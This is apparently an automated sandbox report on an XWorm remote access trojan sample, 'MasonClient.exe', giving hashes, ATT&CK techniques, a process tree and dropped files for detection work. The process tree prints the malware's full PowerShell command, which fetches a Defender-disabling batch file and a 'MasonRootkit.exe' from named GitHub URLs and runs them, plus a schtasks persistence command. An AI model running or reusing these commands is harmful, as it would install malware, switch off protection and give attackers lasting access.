xworm | 33390c4e76ef805c8f426b64803265cffacb3e5b49c2fe44eecb6e125e8dcd23

Analysis

max time kernel
148s
max time network
149s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
02/03/2025, 22:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

MasonClient.exe
Size

50KB
MD5

7eecbfee976f4b6944cce2362d532266
SHA1

5996357ec345f0feeb14bd79f54392cc3075cb59
SHA256

33390c4e76ef805c8f426b64803265cffacb3e5b49c2fe44eecb6e125e8dcd23
SHA512

cb7c952963d14efd16f6752d49481072218d67fcd6decfb43fa000fe139bcb7a22e62087613fad021c83ad0867937db24d70b54eaed9b8321f087494ea39a97f
SSDEEP

768:BIXLzBU97JP7LzxqMIEmOVjWjlbQ0eiVQGit/X6DlvuhJOWCAzuV:BIbzq91P73E3ESBbQ0ex/hbOW5uV

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes

install_file
USB.exe

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/memory/2128-1-0x0000000001280000-0x0000000001292000-memory.dmp	family_xworm
behavioral1/files/0x0008000000004e74-1092.dat	family_xworm
behavioral1/memory/3068-1094-0x0000000000360000-0x0000000000372000-memory.dmp	family_xworm
behavioral1/memory/1864-2536-0x0000000000040000-0x0000000000052000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2428	powershell.exe
6	2428	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2428	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3068	MasonClient.exe
1864	MasonClient.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 57 IoCs

Web Service

T1102

flow	ioc
48	raw.githubusercontent.com
69	raw.githubusercontent.com
20	raw.githubusercontent.com
32	raw.githubusercontent.com
34	raw.githubusercontent.com
63	raw.githubusercontent.com
59	raw.githubusercontent.com
28	raw.githubusercontent.com
40	raw.githubusercontent.com
42	raw.githubusercontent.com
52	raw.githubusercontent.com
55	raw.githubusercontent.com
11	raw.githubusercontent.com
23	raw.githubusercontent.com
38	raw.githubusercontent.com
60	raw.githubusercontent.com
10	raw.githubusercontent.com
47	raw.githubusercontent.com
70	raw.githubusercontent.com
76	raw.githubusercontent.com
27	raw.githubusercontent.com
53	raw.githubusercontent.com
77	raw.githubusercontent.com
81	raw.githubusercontent.com
15	raw.githubusercontent.com
39	raw.githubusercontent.com
72	raw.githubusercontent.com
37	raw.githubusercontent.com
45	raw.githubusercontent.com
49	raw.githubusercontent.com
62	raw.githubusercontent.com
17	raw.githubusercontent.com
65	raw.githubusercontent.com
75	raw.githubusercontent.com
43	raw.githubusercontent.com
21	raw.githubusercontent.com
26	raw.githubusercontent.com
16	raw.githubusercontent.com
80	raw.githubusercontent.com
31	raw.githubusercontent.com
36	raw.githubusercontent.com
51	raw.githubusercontent.com
58	raw.githubusercontent.com
79	raw.githubusercontent.com
82	raw.githubusercontent.com
19	raw.githubusercontent.com
24	raw.githubusercontent.com
25	raw.githubusercontent.com
30	raw.githubusercontent.com
56	raw.githubusercontent.com
85	raw.githubusercontent.com
73	raw.githubusercontent.com
41	raw.githubusercontent.com
66	raw.githubusercontent.com
68	raw.githubusercontent.com
84	raw.githubusercontent.com
87	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2852	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2428	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2128	MasonClient.exe
Token: SeDebugPrivilege	2428	powershell.exe
Token: SeDebugPrivilege	3068	MasonClient.exe
Token: SeDebugPrivilege	1864	MasonClient.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2128 wrote to memory of 2428	2128	MasonClient.exe	30
PID 2128 wrote to memory of 2428	2128	MasonClient.exe	30
PID 2128 wrote to memory of 2428	2128	MasonClient.exe	30
PID 2128 wrote to memory of 2852	2128	MasonClient.exe	33
PID 2128 wrote to memory of 2852	2128	MasonClient.exe	33
PID 2128 wrote to memory of 2852	2128	MasonClient.exe	33
PID 2244 wrote to memory of 3068	2244	taskeng.exe	37
PID 2244 wrote to memory of 3068	2244	taskeng.exe	37
PID 2244 wrote to memory of 3068	2244	taskeng.exe	37
PID 2244 wrote to memory of 1864	2244	taskeng.exe	38
PID 2244 wrote to memory of 1864	2244	taskeng.exe	38
PID 2244 wrote to memory of 1864	2244	taskeng.exe	38

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2428
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonClient" /tr "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2852

C:\Windows\system32\taskeng.exe
taskeng.exe {AF18752F-EE27-48AF-83B3-5CCADC9BF501} S-1-5-21-1488793075-819845221-1497111674-1000:UPNECVIU\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2244
- C:\Users\Admin\AppData\Roaming\MasonClient.exe
  C:\Users\Admin\AppData\Roaming\MasonClient.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3068
- C:\Users\Admin\AppData\Roaming\MasonClient.exe
  C:\Users\Admin\AppData\Roaming\MasonClient.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
71KB

MD5
83142242e97b8953c386f988aa694e4a

SHA1
833ed12fc15b356136dcdd27c61a50f59c5c7d50

SHA256
d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755

SHA512
bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarF204.tmp

Filesize
183KB

MD5
109cab5505f5e065b63d01361467a83b

SHA1
4ed78955b9272a9ed689b51bf2bf4a86a25e53fc

SHA256
ea6b7f51e85835c09259d9475a7d246c3e764ad67c449673f9dc97172c351673

SHA512
753a6da5d6889dd52f40208e37f2b8c185805ef81148682b269fff5aa84a46d710fe0ebfe05bce625da2e801e1c26745998a41266fa36bf47bc088a224d730cc

Download Submit
C:\Users\Admin\AppData\Roaming\MasonClient.exe

Filesize
50KB

MD5
7eecbfee976f4b6944cce2362d532266

SHA1
5996357ec345f0feeb14bd79f54392cc3075cb59

SHA256
33390c4e76ef805c8f426b64803265cffacb3e5b49c2fe44eecb6e125e8dcd23

SHA512
cb7c952963d14efd16f6752d49481072218d67fcd6decfb43fa000fe139bcb7a22e62087613fad021c83ad0867937db24d70b54eaed9b8321f087494ea39a97f

Download Submit
memory/1864-2536-0x0000000000040000-0x0000000000052000-memory.dmp

Filesize
72KB

Download
memory/2128-11-0x000000001AE70000-0x000000001AEF0000-memory.dmp

Filesize
512KB

Download
memory/2128-0-0x000007FEF5213000-0x000007FEF5214000-memory.dmp

Filesize
4KB

Download
memory/2128-12-0x000007FEF5213000-0x000007FEF5214000-memory.dmp

Filesize
4KB

Download
memory/2128-79-0x000000001AE70000-0x000000001AEF0000-memory.dmp

Filesize
512KB

Download
memory/2128-1-0x0000000001280000-0x0000000001292000-memory.dmp

Filesize
72KB

Download
memory/2428-9-0x0000000001ED0000-0x0000000001F50000-memory.dmp

Filesize
512KB

Download
memory/2428-8-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/2428-7-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2428-6-0x0000000001ED0000-0x0000000001F50000-memory.dmp

Filesize
512KB

Download
memory/3068-1094-0x0000000000360000-0x0000000000372000-memory.dmp

Filesize
72KB

Download